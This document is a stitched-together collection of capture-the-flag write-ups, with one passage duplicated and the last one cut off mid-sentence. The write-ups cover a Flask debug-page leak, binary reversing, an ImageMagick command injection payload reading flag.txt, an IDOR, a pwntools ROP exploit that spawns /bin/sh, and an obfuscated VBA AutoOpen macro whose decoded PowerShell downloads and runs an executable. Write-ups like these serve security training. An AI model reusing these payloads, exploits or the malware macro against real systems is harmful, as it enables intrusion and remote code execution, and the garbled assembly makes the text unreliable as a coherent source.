id="frame-140077653438768"> <h4>File <cite class="filename">"/usr/local/lib/python3.12/site-packages/flask/app.py"</cite>, line <em class="line">1463</em>, in wsgi_app</h4> <div class="source library"><span> </span>ctx = self.request_context(environ)<span> </span>error: BaseException | None = None<span> </span>try:<span> </span>try:<span> </span>ctx.push()<span> </span>response = self.full_dispatch_request()<span> </span> ^^^^^^^^^^^^^^^^^^^^^^^^^^^^<span> </span>except Exception as e:<span> </span>error = e<span> </span>response = self.handle_exception(e)<span> </span>except: # noqa: B001<span> </span>error = sys.exc_info()[1]</div></div> <div class="frame" id="frame-140077653438912"> <h4>File <cite class="filename">"/usr/local/lib/python3.12/site-packages/flask/app.py"</cite>, line <em class="line">872</em>, in full_dispatch_request</h4> <div class="source library"><span> </span>request_started.send(self, _async_wrapper=self.ensure_sync)<span> </span>rv = self.preprocess_request()<span> </span>if rv is None:<span> </span>rv = self.dispatch_request()<span> </span>except Exception as e:<span> </span>rv = self.handle_user_exception(e)<span> </span> ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^<span> </span>return self.finalize_request(rv)<span></span> <span> </span>def finalize_request(<span> </span>self,<span> </span>rv: ft.ResponseReturnValue | HTTPException,</div></div> <div class="frame" id="frame-140077653439056"> <h4>File <cite class="filename">"/usr/local/lib/python3.12/site-packages/flask/app.py"</cite>, line <em class="line">870</em>, in full_dispatch_request</h4> <div class="source library"><span></span> <span> </span>try:<span> </span>request_started.send(self, _async_wrapper=self.ensure_sync)<span> </span>rv = self.preprocess_request()<span> </span>if rv is None:<span> </span>rv = self.dispatch_request()<span> </span> ^^^^^^^^^^^^^^^^^^^^^^^<span> </span>except Exception as e:<span> </span>rv = self.handle_user_exception(e)<span> </span>return self.finalize_request(rv)<span></span> <span> </span>def finalize_request(</div></div> <div class="frame" id="frame-140077653439200"> <h4>File <cite class="filename">"/usr/local/lib/python3.12/site-packages/flask/app.py"</cite>, line <em class="line">855</em>, in dispatch_request</h4> <div class="source library"><span> </span>and req.method == "OPTIONS"<span> </span>):<span> </span>return self.make_default_options_response()<span> </span># otherwise dispatch to the handler for that endpoint<span> </span>view_args: dict[str, t.Any] = req.view_args # type: ignore[assignment]<span> </span>return self.ensure_sync(self.view_functions[rule.endpoint])(**view_args) # type: ignore[no-any-return]<span> </span> ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^<span></span> <span> </span>def full_dispatch_request(self) -> Response:<span> </span>"""Dispatches the request and on top of that performs request<span> </span>pre and postprocessing as well as HTTP exception catching and<span> </span>error handling.</div></div> <div class="frame" id="frame-140077653439344"> <h4>File <cite class="filename">"/app/webapp.py"</cite>, line <em class="line">26</em>, in submitted</h4> <div class="source "><span> </span>if request.method == 'POST':<span> </span>content = request.get_json()<span> </span>sender = content.get('email')<span> </span>messege = content.get('messege')<span> </span>f.setSender(sender)<span> </span>f.checkResponds(messege)<span> </span>^^^^^^^^^^^^^^^^^^^^^^^^<span> </span>else:<span> </span>return "Post:Json Request Only"<span> </span>return "Email Sent!"<span></span> <span></span>@app.route("/countdown")</div></div> <div class="frame" id="frame-140077653439488"> <h4>File <cite class="filename">"/app/floaty.py"</cite>, line <em class="line">17</em>, in checkResponds</h4> <div class="source "><span> </span>def setSender(self, email):<span> </span>self.sendto = email<span></span> <span></span>#Check Responds for flag or fake<span> </span>def checkResponds(self, responds):<span> </span>if "flag" in responds:<span> </span> ^^^^^^^^^^^^^^^^^^<span> </span>self.sendFlag()<span> </span>else:<span> </span>self.sendFake()<span></span> <span></span>#Send Flag if requested</div></div> <blockquote>TypeError: argument of type 'NoneType' is not iterable</blockquote></div> <div class="plain"> This is the Copy/Paste friendly version of the traceback. <textarea cols="50" rows="10" name="code" readonly>Traceback (most recent call last): File "/usr/local/lib/python3.12/site-packages/flask/app.py", line 1488, in __call__ return self.wsgi_app(environ, start_response) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.12/site-packages/flask/app.py", line 1466, in wsgi_app response = self.handle_exception(e) ^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.12/site-packages/flask/app.py", line 1463, in wsgi_app response = self.full_dispatch_request() ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.12/site-packages/flask/app.py", line 872, in full_dispatch_request rv = self.handle_user_exception(e) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.12/site-packages/flask/app.py", line 870, in full_dispatch_request rv = self.dispatch_request() ^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.12/site-packages/flask/app.py", line 855, in dispatch_request return self.ensure_sync(self.view_functions[rule.endpoint])(**view_args) # type: ignore[no-any-return] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/app/webapp.py", line 26, in submitted f.checkResponds(messege) File "/app/floaty.py", line 17, in checkResponds if "flag" in responds: ^^^^^^^^^^^^^^^^^^^TypeError: argument of type 'NoneType' is not iterable</textarea></div><div class="explanation"> The debugger caught an exception in your WSGI application. You can now look at the traceback which led to the error. <span> If you enable JavaScript you can also use additional features such as code execution (if the evalex feature is enabled), automatic pasting of the exceptions and much more.</span></div> <div class="footer"> Brought to you by DON'T PANIC, your friendly Werkzeug powered traceback interpreter. </div> </div> This is the Copy/Paste friendly version of the traceback. <div class="pin-prompt"> <div class="inner"> <h3>Console Locked</h3> The console is locked and needs to be unlocked by entering the PIN. You can find the PIN printed out on the standard output of your shell that runs the server. <form> PIN: <input type=text name=pin size=14> <input type=submit name=btn value="Confirm Pin"> </form> </div> </div> </body></html> ``` That's long... But, notably, after scrolling through, I noticed it seemed to be outputting the lines in the source code! Perfect. Let's try and write out what's going on, starting from line 139: This is /app/webapp.py: ```pydef unknown_func(): if request.method == "POST": content = request.get_json() sender = content.get("email") messege = content.get("messege") f.setSender(sender) f.checkResponds(messege) else: return "Post:Json Request Only" return "Email Sent!" @app.route("/countdown")``` And this is /app/floaty.py: ```pyclass unknown_class: def setSender(self, email): self.sendto = email #Check Responds for flag or fake def checkResponds(self, responds): if "flag" in responds: self.sendFlag() else: self.sendFake() #Send Flag if requested``` Seems like we need to include a json object with an "email" and a "messege". The "email" should be one we can access, while the "messege" should just include the flag. Thus, the final request is as follows: ```yamlPOST /contactIT HTTP/1.1Host: 3.23.56.243:9008Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Connection: closeContent-Length: 66Content-Type: application/json { "email": "[email protected]", "messege": "flag"}``` The response: ```htmlHTTP/1.1 200 OKServer: Werkzeug/3.0.1 Python/3.12.2Date: Sun, 24 Mar 2024 20:16:55 GMTContent-Type: text/html; charset=utf-8Content-Length: 11Connection: close Email Sent!``` Check your email for the flag! texsaw{7h15_15_7h3_r34l_fl46_c0n6r47ul4710n5} The console is locked and needs to be unlocked by entering the PIN. You can find the PIN printed out on the standard output of your shell that runs the server. <form> PIN: <input type=text name=pin size=14> <input type=submit name=btn value="Confirm Pin"> </form> </div> </div> </body></html> ``` That's long... But, notably, after scrolling through, I noticed it seemed to be outputting the lines in the source code! Perfect. Let's try and write out what's going on, starting from line 139: This is /app/webapp.py: ```pydef unknown_func(): if request.method == "POST": content = request.get_json() sender = content.get("email") messege = content.get("messege") f.setSender(sender) f.checkResponds(messege) else: return "Post:Json Request Only" return "Email Sent!" @app.route("/countdown")``` And this is /app/floaty.py: ```pyclass unknown_class: def setSender(self, email): self.sendto = email #Check Responds for flag or fake def checkResponds(self, responds): if "flag" in responds: self.sendFlag() else: self.sendFake() #Send Flag if requested``` Seems like we need to include a json object with an "email" and a "messege". The "email" should be one we can access, while the "messege" should just include the flag. Thus, the final request is as follows: ```yamlPOST /contactIT HTTP/1.1Host: 3.23.56.243:9008Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Connection: closeContent-Length: 66Content-Type: application/json { "email": "[email protected]", "messege": "flag"}``` The response: ```htmlHTTP/1.1 200 OKServer: Werkzeug/3.0.1 Python/3.12.2Date: Sun, 24 Mar 2024 20:16:55 GMTContent-Type: text/html; charset=utf-8Content-Length: 11Connection: close Email Sent!``` Check your email for the flag! texsaw{7h15_15_7h3_r34l_fl46_c0n6r47ul4710n5}
Shuffling can be reversed since we can figure out where each individual bits get sent to. The 10 payloads needs to allow us to differentiate between all the 1024 bits. One scheme would be to set position i to 1 in payload j if i's jth digit is 1. Full writeup [here](https://www.overleaf.com/read/fnjzhyxzmspq).
In this challenge you will get a a netcat and a linux binary file and once run ```welcome to the guessing game!guess what I'm thinking``` The main focus of this challenge is the binary file and using ghidra we could dump the binary and get a rough c code but for this challenge its we got the logic right away. ```undefined8 main(void) { int iVar1; undefined8 uVar2; long in_FS_OFFSET; int local_a4; FILE *local_a0; char local_98 [64]; char local_58 [72]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); setbuf(stdout,(char *)0x0); puts("welcome to the guessing game!"); puts("guess what I\'m thinking"); fgets(local_98,0x40,stdin); iVar1 = strcmp(local_98,"nuh uh pls nolfjdl\n"); if (iVar1 == 0) { puts("please guess a number between 0 and 100:"); __isoc99_scanf(&DAT_00102089,&local_a4); if ((int)(0x17a / (long)local_a4) + 3 == local_a4) { puts("congratulations! you guessed the correct number!"); } else { puts("sorry, you guessed the wrong number!"); } local_a0 = fopen("flag.txt","r"); if (local_a0 == (FILE *)0x0) { puts("flag.txt not found - ping us on discord if you are running this on the server"); uVar2 = 1; } else { fgets(local_58,0x40,local_a0); puts(local_58); uVar2 = 0; } } else { puts("nuh uh!"); uVar2 = 1; } if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return uVar2;}``` here on ``` puts("welcome to the guessing game!"); puts("guess what I\'m thinking"); fgets(local_98,0x40,stdin); iVar1 = strcmp(local_98,"nuh uh pls nolfjdl\n");``` we got a fgets and it will get a value local_98 and a string **"nuh uh pls nolfjdl"** and entering **"nuh uh pls nolfjdl"** we get the: > please guess a number between 0 and 100: ``` if ((int)(0x17a / (long)local_a4) + 3 == local_a4) { puts("congratulations! you guessed the correct number!"); } else { puts("sorry, you guessed the wrong number!"); }``` this is dosen't need to be overcomplicated because what ever you'll do it will go to the end to the: ``` local_a0 = fopen("flag.txt","r");``` --------------------------------------------------------------------------Full output: ```$ nc tjc.tf 31478welcome to the guessing game!guess what I'm thinkingnuh uh pls nolfjdlplease guess a number between 0 and 100:90sorry, you guessed the wrong number!tjctf{n3v3r_c0uld_r34d_y0ur_m1nd_8e6646a1}``` > tjctf{n3v3r_c0uld_r34d_y0ur_m1nd_8e6646a1}
# web/Spongebobs Homepage> Welcome to this great website about myself! Hope you enjoy ;) DIRBUSTER or any similar tools are NOT allowed. There is a `#command-injection` in the `/assets/image` path in `size` query parameter. The size is passed on to the **convert-im6.q16** command. When I tried various command injection payloads, it resulted in an error. ![error](https://xeunwa.github.io/umass-ctf-2024/error.png) During my tries, I wasn't able to escape from the current command, so I just looked for available arguments. I learned can use `-set` argument in convert-im6.q16 to set meta tags to the image. This resulted to the following payload: `200 -set Flag "$(cat flag.txt | base64)"`. Encoding in base64 is not really required for this challenge. `http://spongebob-blog.ctf.umasscybersec.org/assets/image?name=spongebob&size=200%20-set%20Flag%20%22$(cat%20flag.txt%20|%20base64)%22` We can download the image rendered and view using exiftool and decode from base64 ![metadata](https://xeunwa.github.io/umass-ctf-2024/metadata.png) ```bashcurl -s 'http://spongebob-blog.ctf.umasscybersec.org/assets/image?name=spongebob&size=200%20-set%20Flag%20%22$(cat%20flag.txt%20|%20base64)%22' | exiftool - | grep Flag | cut -d ':' -f 2 | tr -d '!' | xargs | base64 -d ``` flag: **UMASS{B4S1C_CMD_INJ3CTI0N}**
### The Thought ProcessWhen visiting the site, we can see the URL indexes the posts numerically in an ascending order. The homepage is `/post/0`, and subsequent posts are `/post/1`, `/post/2`, and so on. We can browse to an arbitrary post by replacing the number in the URL with one of our choosing, such as `727`. What happens if we choose a number that comes before the first post... like a negative number? ### SolutionBrowse to a post with a negative number, such as `/post/-1`.
# Space Heroes Falling in ROP Writeup ## IntroductionIn this writeup, I'll explain the process of exploiting the "Space Heroes Falling in ROP" challenge in the Pwn category. The goal was to retrieve the flag by exploiting a vulnerability in the provided binary. ## Initial AnalysisFirst, let's analyze the binary. We notice that there's no PIE (Position Independent Executable) protection, which means that addresses remain constant across different executions. ## Exploitation Strategy1. **Leaking `printf` Address**: We'll use the `printf` function to leak addresses from the Global Offset Table (GOT). We'll overwrite the return address with the `main` function to loop back to the beginning of the program after the first payload.2. **Finding libc Version**: With the leaked `printf` address, we can determine the libc version being used. We found the libc version to be `libc6_2.35-0ubuntu3.4_amd64`.3. **Calculating `system` and `/bin/sh` Addresses**: Using the libc version, we find the addresses of the `system` function and the string `/bin/sh`.4. **Launching Shell**: Finally, we construct the final payload to call `system("/bin/sh")`. ## Exploitation Code```pythonfrom pwn import * p = remote("spaceheroes-falling-in-rop.chals.io", 443, ssl=True, sni="spaceheroes-falling-in-rop.chals.io") context.binary = binary = './falling.bin'elf = ELF(binary, checksec=False)rop = ROP(elf) pop_rdi = p64(rop.find_gadget(['pop rdi', 'ret'])[0]) padding = b'A'*88 # Payload to leak printf addresspayload = padding + pop_rdi + p64(elf.got.printf) + p64(elf.plt.puts) + p64(elf.symbols.main)p.recvuntil(b"who you are: ")p.sendline(payload) leaked_printf = u64(p.recvline().strip().ljust(8, b'\x00')) # Calculate libc base address and system/bin/sh addresseslibc_base = leaked_printf - libc.symbols['printf']system_addr = libc_base + libc.symbols['system']bin_sh_addr = next(libc.search(b'/bin/sh')) # Payload to launch shellpayload = padding + ret + pop_rdi + p64(bin_sh_addr) + p64(system_addr)p.recvuntil(b"who you are: ")p.sendline(payload) p.interactive()
We are given `deals.xlsm` and it has a macro in it. ```vbSub AutoOpen()Dim RetvalDim f As StringDim t53df028c67b2f07f1069866e345c8b85, qe32cd94f940ea527cf84654613d4fb5d, e5b138e644d624905ca8d47c3b8a2cf41, tfd753b886f3bd1f6da1a84488dee93f9, z92ea38976d53e8b557cd5bbc2cd3e0f8, xc6fd40b407cb3aac0d068f54af14362e As Stringxc6fd40b407cb3aac0d068f54af14362e = "$OrA, "If Sheets("Sheet2").Range("M62").Value = "Iuzaz/iA" Thenxc6fd40b407cb3aac0d068f54af14362e = xc6fd40b407cb3aac0d068f54af14362e + "$jri);"End IfIf Sheets("Sheet2").Range("G80").Value = "bAcDPl8D" Thenxc6fd40b407cb3aac0d068f54af14362e = xc6fd40b407cb3aac0d068f54af14362e + "Invok"End Ife5b138e644d624905ca8d47c3b8a2cf41 = " = '"If Sheets("Sheet2").Range("P31").Value = "aI3bH4Rd" Thene5b138e644d624905ca8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + "http"End IfIf Sheets("Sheet2").Range("B50").Value = "4L3bnaGQ" Thene5b138e644d624905ca8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + "://f"End IfIf Sheets("Sheet2").Range("B32").Value = "QyycTMPU" Thenxc6fd40b407cb3aac0d068f54af14362e = xc6fd40b407cb3aac0d068f54af14362e + "e-Ite"End IfIf Sheets("Sheet2").Range("K47").Value = "0kIbOvsu" Thenxc6fd40b407cb3aac0d068f54af14362e = xc6fd40b407cb3aac0d068f54af14362e + "m $jri"End IfIf Sheets("Sheet2").Range("B45").Value = "/hRdSmbG" Thenxc6fd40b407cb3aac0d068f54af14362e = xc6fd40b407cb3aac0d068f54af14362e + ";brea"End IfIf Sheets("Sheet2").Range("D27").Value = "y9hFUyA8" Thene5b138e644d624905ca8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + "ruit"End IfIf Sheets("Sheet2").Range("A91").Value = "De5234dF" Thene5b138e644d624905ca8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + ".ret3"End IfIf Sheets("Sheet2").Range("I35").Value = "DP7jRT2v" Thene5b138e644d624905ca8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + ".gan"End IfIf Sheets("Sheet2").Range("W48").Value = "/O/w/o57" Thenxc6fd40b407cb3aac0d068f54af14362e = xc6fd40b407cb3aac0d068f54af14362e + "k;} c"End IfIf Sheets("Sheet2").Range("R18").Value = "FOtBe4id" Thenxc6fd40b407cb3aac0d068f54af14362e = xc6fd40b407cb3aac0d068f54af14362e + "atch "End IfIf Sheets("Sheet2").Range("W6").Value = "9Vo7IQ+/" Thenxc6fd40b407cb3aac0d068f54af14362e = xc6fd40b407cb3aac0d068f54af14362e + "{}"""End IfIf Sheets("Sheet2").Range("U24").Value = "hmDEjcAE" Thene5b138e644d624905ca8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + "g/ma"End IfIf Sheets("Sheet2").Range("C96").Value = "1eDPj4Rc" Thene5b138e644d624905ca8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + "lwar"End IfIf Sheets("Sheet2").Range("B93").Value = "A72nfg/f" Thene5b138e644d624905ca8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + ".rds8"End IfIf Sheets("Sheet2").Range("E90").Value = "HP5LRFms" Thene5b138e644d624905ca8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + "e';$"End Iftfd753b886f3bd1f6da1a84488dee93f9 = "akrz"If Sheets("Sheet2").Range("G39").Value = "MZZ/er++" Thentfd753b886f3bd1f6da1a84488dee93f9 = tfd753b886f3bd1f6da1a84488dee93f9 + "f3zsd"End IfIf Sheets("Sheet2").Range("B93").Value = "ZX42cd+3" Thentfd753b886f3bd1f6da1a84488dee93f9 = tfd753b886f3bd1f6da1a84488dee93f9 + "2832"End IfIf Sheets("Sheet2").Range("I15").Value = "e9x9ME+E" Thentfd753b886f3bd1f6da1a84488dee93f9 = tfd753b886f3bd1f6da1a84488dee93f9 + "0918"End IfIf Sheets("Sheet2").Range("T46").Value = "7b69F2SI" Thentfd753b886f3bd1f6da1a84488dee93f9 = tfd753b886f3bd1f6da1a84488dee93f9 + "2afd"End IfIf Sheets("Sheet2").Range("N25").Value = "Ga/NUmJu" Thene5b138e644d624905ca8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + "CNTA"End IfIf Sheets("Sheet2").Range("N26").Value = "C1hrOgDr" Thene5b138e644d624905ca8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + " = '"End IfIf Sheets("Sheet2").Range("C58").Value = "PoX7qGEp" Thene5b138e644d624905ca8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + "banA"End IfIf Sheets("Sheet2").Range("B53").Value = "see2d/f" Thene5b138e644d624905ca8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + "Fl0dd"End IfIf Sheets("Sheet2").Range("Q2").Value = "VKVTo5f+" Thene5b138e644d624905ca8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + "NA-H"End Ift53df028c67b2f07f1069866e345c8b85 = "p"If Sheets("Sheet2").Range("L84").Value = "GSPMnc83" Thent53df028c67b2f07f1069866e345c8b85 = t53df028c67b2f07f1069866e345c8b85 + "oWe"End IfIf Sheets("Sheet2").Range("H35").Value = "aCxE//3x" Thent53df028c67b2f07f1069866e345c8b85 = t53df028c67b2f07f1069866e345c8b85 + "ACew"End IfIf Sheets("Sheet2").Range("R95").Value = "uIDW54Re" Thent53df028c67b2f07f1069866e345c8b85 = t53df028c67b2f07f1069866e345c8b85 + "Rs"End IfIf Sheets("Sheet2").Range("A24").Value = "PKRtszin" Thent53df028c67b2f07f1069866e345c8b85 = t53df028c67b2f07f1069866e345c8b85 + "HELL"End IfIf Sheets("Sheet2").Range("G33").Value = "ccEsz3te" Thent53df028c67b2f07f1069866e345c8b85 = t53df028c67b2f07f1069866e345c8b85 + "L3c33"End IfIf Sheets("Sheet2").Range("P31").Value = "aI3bH4Rd" Thent53df028c67b2f07f1069866e345c8b85 = t53df028c67b2f07f1069866e345c8b85 + " -c"End If If Sheets("Sheet2").Range("Z49").Value = "oKnlcgpo" Thentfd753b886f3bd1f6da1a84488dee93f9 = tfd753b886f3bd1f6da1a84488dee93f9 + "4';$"End IfIf Sheets("Sheet2").Range("F57").Value = "JoTVytPM" Thentfd753b886f3bd1f6da1a84488dee93f9 = tfd753b886f3bd1f6da1a84488dee93f9 + "jri="End IfIf Sheets("Sheet2").Range("M37").Value = "y7MxjsAO" Thentfd753b886f3bd1f6da1a84488dee93f9 = tfd753b886f3bd1f6da1a84488dee93f9 + "$env:"End IfIf Sheets("Sheet2").Range("E20").Value = "ap0EvV5r" Thentfd753b886f3bd1f6da1a84488dee93f9 = tfd753b886f3bd1f6da1a84488dee93f9 + "publ"End Ifz92ea38976d53e8b557cd5bbc2cd3e0f8 = "\'+$"If Sheets("Sheet2").Range("D11").Value = "Q/GXajeM" Thenz92ea38976d53e8b557cd5bbc2cd3e0f8 = z92ea38976d53e8b557cd5bbc2cd3e0f8 + "CNTA"End IfIf Sheets("Sheet2").Range("B45").Value = "/hRdSmbG" Thenz92ea38976d53e8b557cd5bbc2cd3e0f8 = z92ea38976d53e8b557cd5bbc2cd3e0f8 + "+'.ex"End IfIf Sheets("Sheet2").Range("D85").Value = "y4/6D38p" Thenz92ea38976d53e8b557cd5bbc2cd3e0f8 = z92ea38976d53e8b557cd5bbc2cd3e0f8 + "e';tr"End IfIf Sheets("Sheet2").Range("P2").Value = "E45tTsBe" Thenz92ea38976d53e8b557cd5bbc2cd3e0f8 = z92ea38976d53e8b557cd5bbc2cd3e0f8 + "4d2dx"End IfIf Sheets("Sheet2").Range("O72").Value = "lD3Ob4eQ" Thentfd753b886f3bd1f6da1a84488dee93f9 = tfd753b886f3bd1f6da1a84488dee93f9 + "ic+'"End Ifqe32cd94f940ea527cf84654613d4fb5d = "omm"If Sheets("Sheet2").Range("P24").Value = "d/v8oiH9" Thenqe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + "and"End IfIf Sheets("Sheet2").Range("V22").Value = "dI6oBK/K" Thenqe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + " """End IfIf Sheets("Sheet2").Range("G1").Value = "zJ1AdN0x" Thenqe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + "$oa"End IfIf Sheets("Sheet2").Range("Y93").Value = "E/5234dF" Thenqe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + "e$3fn"End IfIf Sheets("Sheet2").Range("A12").Value = "X42fc3/=" Thenqe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + "av3ei"End IfIf Sheets("Sheet2").Range("F57").Value = "JoTVytPM" Thenqe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + "K ="End IfIf Sheets("Sheet2").Range("L99").Value = "t8PygQka" Thenqe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + " ne"End IfIf Sheets("Sheet2").Range("X31").Value = "gGJBD5tp" Thenqe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + "w-o"End IfIf Sheets("Sheet2").Range("C42").Value = "Dq7Pu9Tm" Thenqe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + "bjec"End IfIf Sheets("Sheet2").Range("D22").Value = "X42/=rrE" Thenqe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + "aoX3&i"End IfIf Sheets("Sheet2").Range("T34").Value = "9u2uF9nM" Thenqe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + "t Ne"End IfIf Sheets("Sheet2").Range("G5").Value = "cp+qRR+N" Thenqe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + "t.We"End IfIf Sheets("Sheet2").Range("O17").Value = "Q8z4cV/f" Thenqe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + "bCli"End IfIf Sheets("Sheet2").Range("Y50").Value = "OML7UOYq" Thenqe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + "ent;"End IfIf Sheets("Sheet2").Range("P41").Value = "bG9LxJvN" Thenqe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + "$OrA"End IfIf Sheets("Sheet2").Range("L58").Value = "qK02fT5b" Thenz92ea38976d53e8b557cd5bbc2cd3e0f8 = z92ea38976d53e8b557cd5bbc2cd3e0f8 + "y{$oa"End IfIf Sheets("Sheet2").Range("P47").Value = "hXelsG2H" Thenz92ea38976d53e8b557cd5bbc2cd3e0f8 = z92ea38976d53e8b557cd5bbc2cd3e0f8 + "K.Dow"End IfIf Sheets("Sheet2").Range("A2").Value = "RcPl3722" Thenz92ea38976d53e8b557cd5bbc2cd3e0f8 = z92ea38976d53e8b557cd5bbc2cd3e0f8 + "Ry.is"End IfIf Sheets("Sheet2").Range("G64").Value = "Kvap5Ma0" Thenz92ea38976d53e8b557cd5bbc2cd3e0f8 = z92ea38976d53e8b557cd5bbc2cd3e0f8 + "nload"End IfIf Sheets("Sheet2").Range("H76").Value = "OjgR3YGk" Thenz92ea38976d53e8b557cd5bbc2cd3e0f8 = z92ea38976d53e8b557cd5bbc2cd3e0f8 + "File("End Iff = t53df028c67b2f07f1069866e345c8b85 + qe32cd94f940ea527cf84654613d4fb5d + e5b138e644d624905ca8d47c3b8a2cf41 + tfd753b886f3bd1f6da1a84488dee93f9 + z92ea38976d53e8b557cd5bbc2cd3e0f8 + xc6fd40b407cb3aac0d068f54af14362eRetval = Shell(f, 0)Dim URL As StringURL = "https://www.youtube.com/watch?v=mYiBdMnIT88"ActiveWorkbook.FollowHyperlink URLEnd Sub``` There are some hidden sheets with a lot of random data in the cells. The macro looks like it's checking certain cells and populating different parts of a string. We could trace through the code and check the individual cells and put together the string, but this will take for ever and I am tired. So let's modify the macro to generate the string and assign it's value to a cell. We can change the bottom part of the macro as such ... ```vbf = t53df028c67b2f07f1069866e345c8b85 + qe32cd94f940ea527cf84654613d4fb5d + e5b138e644d624905ca8d47c3b8a2cf41 + tfd753b886f3bd1f6da1a84488dee93f9 + z92ea38976d53e8b557cd5bbc2cd3e0f8 + xc6fd40b407cb3aac0d068f54af14362e 'Retval = Shell(f, 0)'Dim URL As String'URL = "https://www.youtube.com/watch?v=mYiBdMnIT88"'ActiveWorkbook.FollowHyperlink URL Sheets("Deals").Range("B20").Value = f``` After running the macro we see Get the powershell script (formatting for easier reading) ```powershellpoWeRsHELL -command "$oaK = new-object Net.WebClient;$OrA = 'http://fruit.gang/malware';$CNTA = 'banANA-Hakrz09182afd4';$jri=$env:public+'\'+$CNTA+'.exe';try{$oaK.DownloadFile($OrA, $jri);Invoke-Item $jri;break;} catch {}"``` `banANA-Hakrz09182afd4.exe` is the flag FLAG: `utflag{banANA-Hakrz09182afd4.exe}`
Steganography challenges are always fun, as is the case with Twine. For those who don’t know, steganography is the practice of concealing a message, image, or file within another message, image, or file. Unlike encryption, which protects the content of a message, steganography hides the existence of the message itself. This makes it a valuable tool for covert communication.![](https://usetheswartz.com/wp-content/uploads/2024/05/image-17.png?w=864) Downloading twine.jpg, you get this image: ![](https://usetheswartz.com/wp-content/uploads/2024/05/twine.jpg?w=328) Nothing crazy, just a bundle of twine. It’s easy in challenges like this to get carried away and start downloading toolkits and start trying to crack into images. Often times, these are not set up to be that difficult on the first go. Let’s start with a beginner’s approach and head to more technical methods as we progress. So first up, just playing with the image in an image editor. This was something that I missed on a CTF last year and spent over an hour trying to figure out the metadata and open it in various tools when the answer was simply, “What if it was brighter or darker”. ![](https://usetheswartz.com/wp-content/uploads/2024/05/image-18.png?w=370)Okay, so no luck there. It makes sense. There isn’t a lot of space to hide a flag in the visual space of the image, so let’s keep going. Let’s try our next step, looking at the file’s metadata.![](https://usetheswartz.com/wp-content/uploads/2024/05/image-19.png?w=1024) So looking at it using the file command tells us what kind of file it is. Kind of a “No duh” moment, but it’s important to note that we can change file extensions to whatever we want. It could be a .dll that’s really a .png but without verifying, we would have no way of knowing. Okay, so let’s look at it’s exif data.![](https://usetheswartz.com/wp-content/uploads/2024/05/image-20.png?w=995) Okay, no flag there. This could be useful if it had more EXIF data like a location or what camera it was shot on, but nothing of note here. Moving up in our technical scale, let’s try using a hex editor to look at the image. HxD is a great tool on Windows for viewing and modifying hexidecimal data.![](https://usetheswartz.com/wp-content/uploads/2024/05/image-21.png?w=1024) So we’ll press Control + F and look for the text string “flag”.![](https://usetheswartz.com/wp-content/uploads/2024/05/image-22.png?w=403) And that seems to do the 